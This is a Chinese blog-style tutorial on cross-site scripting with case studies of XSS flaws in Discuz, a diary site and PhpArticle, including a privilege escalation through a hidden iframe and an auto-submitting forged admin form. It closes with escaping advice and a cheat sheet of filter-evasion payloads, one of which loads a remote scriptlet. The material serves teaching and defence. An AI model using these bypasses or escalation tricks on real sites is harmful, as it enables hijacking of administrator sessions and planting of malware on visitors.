1. 程式人生 > >跨站指令碼攻擊-----為什麼要過濾危險字串

跨站指令碼攻擊-----為什麼要過濾危險字串

不算前言的前言
好像已經很久沒有寫過安全方面的文章了,所謂安全圈子裡面,大家也許認為玄貓消失了,不過,我想,作為駭客的玄貓也許從來沒有出現過吧。沒錯的,我是玄貓,如果前兩年你看過《黑客X檔案》或者《黑客手冊》這樣的民間安全雜誌,那麼你也許見過這個名字。
或者,很抱歉的,你的站點有時會出現過“玄貓啊玄貓……”這樣的提示框或者文字,那麼我很遺憾,我寫的漏洞利用工具被人濫用到你的網站上了,藍色理想裡的程式設計師、站長想必不少,我在這裡也向你道個歉。

什麼是跨站指令碼攻擊
OK,我們就進入正文吧。按照慣例,我先給出“跨站指令碼攻擊”的“官方定義”。
跨站攻擊,即Cross Site Script Execution(通常簡寫為XSS)是指攻擊者利用網站程式對使用者輸入過濾不足,輸入可以顯示在頁面上對其他使用者造成影響的HTML程式碼,從而盜取使用者資料、利用使用者身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。

在這個定義裡面提到了三個要點:
第一、       What-為什麼會產生跨站指令碼攻擊。
跨站指令碼攻擊的產生是因為程式設計師在寫程式時候的考慮不周,當然,也可能是根本沒有考慮。安全方面有一句著名的話叫做,“永遠也不要相信使用者的輸入”。看到這裡,作為普通使用者的你,先別急著鄙視我對你的不信任,作為可用性專家的你,也別急著罵我不重視使用者,作為程式設計師的你,要去用涼水洗把臉,精神一下了。
你在以前寫程式時,有沒有考慮,使用者所輸入的內容顯示在網站上時,會不會有什麼問題呢。
什麼問題?先拋開我這裡的主題跨站指令碼攻擊而言,你有沒有發現,有時使用者輸入的內容,導致了你的頁面變形?這時你除了說,Oh,這個使用者真麻煩之外,是否還考慮,為什麼會變形呢。

我們舉個例項來說,你寫了一個頁面,用來顯示使用者輸入的文章,這裡顯示使用者部分的地方是這樣的:
<div id="content"><%=sArticleContent'這裡我們假設這個變數是從資料庫裡面取出的使用者輸入的文章內容%></div>
如果使用者輸入的都是像我這篇文章一樣的普通文字,那麼自然是沒有問題,啊,可是如果出現一個二把刀的使用者,他一定想寫一些html程式碼來裝飾他的文章,而恰恰他只寫了<h1>,忘記了後面的閉合標籤,那麼會出現什麼……哈哈,你的頁面的後面部分全部被<h1>了,字型大的沒法看。之前你精心設計的頁面全部亂成了一鍋粥。

在這個例項裡面,使用者輸入的只是普通的html字元,那麼,他如果輸入javascript字元呢,恩,如果我是一個壞壞的喜歡搞惡作劇的使用者,我也許會輸入:<script>while(1==1){alert('這個站長是個笨蛋');}</script>。那麼會發生什麼?對!在這個頁面被訪問的時候,你無辜的訪問者會發現,無論他怎麼按“確定”,那個頑固的提示框都會喋喋不休。
簡單來說,這就是一次跨站指令碼攻擊了。
在這次攻擊裡面,我,這個壞壞的喜歡惡作劇的使用者,利用你,這個永遠相信使用者輸入的程式設計師忘記過濾我所輸入的可能對其他訪問者造成危害的程式碼內容這個缺陷,成功的進行了一次惡作劇—跨站指令碼攻擊。
第二、       Who-誰可以利用跨站指令碼攻擊。
關於“who”這個問題,我想在上面的內容裡,你大致瞭解了,這裡我再嘮叨一下,不僅僅是喜歡惡作劇的使用者可以用,甚至有時普通的使用者,輸入時不小心的也會導致你頁面出現一些未期料的問題。
當然,我們最不希望的就是,有駭客利用這個漏洞了,至於他能夠利用到什麼程度,還請你往下面拉一點,看“跨站指令碼攻擊有什麼危害”。
第三、       How much-跨站指令碼攻擊有什麼危害。
所謂安全圈子裡的某些“黑客”往往對跨站漏洞嗤之以鼻,認為那不過是在客戶那裡玩玩就算了,作為被稱之為跨站王的某魚同學(現在已然是Discuz公司的系統安全工程師了)的徒弟我來說,我認為這是非常幼稚的一種看法。
說小了,跨站攻擊可以簡單的就使你的頁面佈局混亂不堪,而更嚴重的是,既然駭客可以寫入html程式碼,那他簡直可以幹你想到的或者你想不到的任何事情了。譬如……<iframe src="網頁木馬地址" width="0" height="0"></iframe>就可以非常容易的在你的網站上插入指向一個網頁木馬的隱藏的框架了(通常被稱之為“掛馬”)。
作為網站管理員的你,如果簡單的認為,跨站漏洞只可以對訪問者造成侵害的話,那就錯了。別忘記,在訪問帶有受到跨站攻擊的網頁時,你的身份也是普通使用者,一方面,如果你中了他放的木馬,那麼從你機子上就可以輕易的下載到ftp軟體中的密碼資訊,另一方面,如果這個時候你已經登入了管理,那麼他是不是可以構造一個管理頁面,並且以你的身份,讓你不知不覺的操作呢,這是完全可能的,並且是經常出現的。
構建跨站指令碼攻擊
哈哈,如果你是一個壞壞的使用者,那麼看到這裡你一定很開心了,你認為自己將學會如何做一名駭客,不過我只能很遺憾的告訴你,想都不要想,呵呵,重複我經常說的一句話,以下內容禁止心智不成熟的未成年人觀看,其中涉及的內容僅作為教學和研究使用,嚴禁利用這裡所講授的知識進行不法侵害行為。
在這裡我拿出以前做的幾個案例筆記(全文大多數都發表在了《黑客X檔案》中),在案例中進行分析說明,大家不要小看這些案例,這些案例中大多數都是網上有大量網站使用的知名程式,可想而知危險之大。
案例一:Discuz4.1.0論壇出現的WAP跨站漏洞
Discuz論壇允許使用手機訪問論壇wap目錄來訪問論壇,用wap方式訪問論壇時可以檢視帖子和傳送帖子、短訊息等,但是其伺服器端的處理過程並沒有過濾wap方式發帖的標題,使得我們可以輸入特殊構造的字元而引發跨站攻擊。
作為程式設計師的你認為使用者在使用手機WAP方式訪問論壇時候就不可能寫入惡意程式碼從而不能攻擊而不對WAP部分進行處理嗎?那你就錯了,實際上,有很多軟體可以模擬訪問WAP,Opera就可以,在PC上使用某些特定的客戶端軟體(WinWAP、Opera)等,訪問WAP網站,即可以輸入跨站字元,這裡可以在標題中輸入<script>alert('XSS')</script>,當PC使用者訪問論壇時,就會觸發這些程式碼。
從這個案例中,你應當學到,不要認為客戶端的限制就可以疏忽對使用者輸入的檢測和過濾了,只要可以通過HTTP協議訪問,那麼無論客戶端是什麼,有什麼限制,都是不安全的。
案例二:“飛騁”網站日記跨站漏洞。
首先來看飛騁日記服務,一般來說對於像日記這種一個人寫,N多人看的東東,我們要考慮的就是XSS跨站漏洞了。在下面的內容中,我們試著用程式碼<script>alert(“玄貓啊玄貓,玄貓要高考咯”)</script>來測試能不能在頁面上執行我們的Javascript指令碼。
我們開啟一個寫日記的頁面,先測試內容能不能寫跨站指令碼,日記標題隨便寫,內容寫個<script>alert(“玄貓啊玄貓,玄貓要高考咯”)</script>,然後去看看,不難看到,我們寫的script被替換成了s cript,(圖一)中間多了個空格,再來改變大小寫試試,內容寫<Script>alert(“玄貓啊玄貓,玄貓要高考咯”)</script>,還是不行,看來要想個變通的方法了,我們找找還有哪些是可以輸出的,對了,標題,可是有的朋友會有疑問,標題就讓寫10個字,不夠啊,我們再來把檔案儲存到本地,研究form的驗證:232行有個<FORM id=frmAnnounce name=frmAnnounce onsubmit="return checkform();"的程式碼,不難看出,這個onsubmit觸發的函式就是檢查標題字數的程式碼,我們刪掉onsubmit="return checkform();",然後把action補全,標題內填入<script>alert(“玄貓啊玄貓,玄貓要高考咯”)</script>,內容隨便寫些東西,提交,在隨後刷新出的頁面裡,優雅得彈出了我們的對話方塊,跨站成功。

在這個案例中,首先進行了最簡單的測試內容的輸入,即彈出一個對話方塊,而此時發現網站程式碼對script進行了過濾,這時再次嘗試Script,如果程式設計師僅簡單的過濾了script時,則Script可能是可用的,但是最終發現還是不行,那麼則轉到標題處,顯然標題處通過maxlength這個屬性限制了文字框所能輸入的最長位元組數,並且使用js指令碼來檢測了使用者的輸入,這些當然都不成為問題,我們只要將頁面儲存到本地,就可以修改了,刪除maxlength屬性和驗證的js程式碼後,再提交即可。
從這個案例中你應當學到:
1、       過濾危險字元時候考慮字元是否可以以大寫變換的方式繞過驗證
2、       Js指令碼檢測使用者輸入合法性是無效的。
3、       使用者可能直接向伺服器提交資料,並且這裡我告訴你,所謂防止外部提交的程式碼是絕對無效的,那個方法是通過檢測HTTP_REFFER的HTTP頭來實現的,而其實這個HTTP頭也是可以偽造的。
案例三:PhpArticle2密碼輸入錯誤記錄跨站漏洞PhpArticle是一款基於php+mysql的整站文章系統,頁面清爽、速度快,並且功能比較完善,尤其是後臺有個記錄別人嘗試登陸時輸入的錯誤密碼的功能……比較實用……還可以偷窺別人都習慣用什麼密碼(一般人嘗試密碼的時候總是按照自己的習慣來嘗試別人的密碼),但是我突然想到,如果我們嘗試在錯誤的使用者名稱或者密碼中輸入特殊字元呢……
進入後臺登陸頁面,然後使用者名稱和密碼分別寫我們構造的用於測試的跨站程式碼。
“使用者名稱”中填寫:
<script>alert("XSS")</script>
“密碼”中填寫:
<script>alert("XSS")</script>
然後我們用管理員的密碼去登陸後臺,檢視“管理日誌->非法登陸記錄”,這時彈出了第一個對話方塊,點選“確定”後又出現了第二個對話方塊,看來這兩個地方是存在跨站漏洞的。
好的,既然確定了有跨站漏洞,我們來思考下應該怎麼利用比較能達到收益最大化……這裡要來一個提升網站使用者許可權的利用。
這裡有必要先給不熟悉PhpArticle的朋友介紹下,在後臺改管理員密碼的地方是要求填寫當前密碼的,所以我們是無法利用的,其他操作我也暫時沒有想出好的利用方法,現在我們要做的就是把我們自己註冊的使用者新增到系統的管理員組中,達到提升許可權的目的。
當我們可以在頁面插入任意程式碼的時候,我們其實有許多選擇,譬如插入javascript指令碼內容,當限制提交字元數的時候我們可以插入javascript指令碼檔案(<script src=""></script>這樣),還可以插入iframe在頁面中隱藏一個任意網頁(駭客用來掛馬),這裡我們的思路是利用管理員登陸的身份來提升許可權,所以我們就模仿程式的使用者管理頁面,來仿造一個頁面,並使用iframe的方法插入這裡。
好了,先來看如何構造表單。
在構造表單之前我們要確定下這個表單是否允許外部提交,我們以管理員身份登陸後,開啟會員編輯這個頁面:http://www.xxx.cn/admin/user.php?action=mod&userid=38,然後將其另存到本地,然後修改form控制元件的action屬性,開啟後提交,程式提示修改成功,看來是允許外部提交的(其實也可以直接看程式碼的……嘿嘿,我不是懶嘛)。
因為嫌PA的頁面太不符合WEB標準,做自動提交的時候總是出現javascript錯誤,我們來自己構造一個表單,通過檢視原始碼,我們可以構造一個只有幾個必填欄位的表單,然後在body標籤後加屬性onLoad,值為javascript:document.forms[0].submit(),即當頁面載入時自動提交表單。
這裡我們還有一個要注意的地方,就是自己的userid,在構造表單的時候我們要用到這個值,怎麼獲得userid呢,我們需要登陸後在cookies裡找pauserid的值。
在這個案例中,我們在構造跨站利用時候採取了一種十分“惡毒”的手段,就是插入一個iframe指向我們自己的網頁,在這個網頁中,我們完整的複製了原始程式碼中的表單部分,並將某些內容修改為我們需要進行的操作,最後再讓這個表單自動提交。
如何防止跨站指令碼攻擊
我想通過上面的內容,你已經深切的領會到了,跨站指令碼攻擊的危害是非常大的,那麼,如何防止這個漏洞呢。
最簡單的辦法,就是將使用者輸入的內容進行HTML轉義,這樣你不必考慮使用者輸入什麼內容,內容中有哪些危險的字元需要過濾,例如在ASP中,我們可以使用Server.HtmlEnCode()來轉義,php中可以使用htmlspecialchars()這個函式。
但是,這種方法並不能稱為最優解,這其實是一種消極的方法,因為使用者輸入的內容可能有危險,那麼就將其全部轉義。而比較好的方法就是通過正則表示式來進行替換,當然,UBB程式碼也是起到這個作用的,程式設計師將HTML程式碼禁用,取而代之以約定的少量UBB來代替HTML,從而起到好的效果。
這裡由於篇幅原因,我就不詳細列出各UBB函式的詳細內容了,這裡我列出一些常見的和很少人瞭解的跨站方法,供你參考是否已經對這些方式進行了過濾。 複製內容到剪貼簿
程式碼:
<IMG SRC="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC=javascript:alert("XSS")>(採用HTML實體)
<IMG SRC=javascript:alert('XSS')>(使用utf8字符集)
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav ascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">(注意,使用expression是十分靈活的,例如,如果你過濾了expression,他還可以使用exp/**/resssion,你過濾了/**/,他還可以使用exp/*sometext*/ression)
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>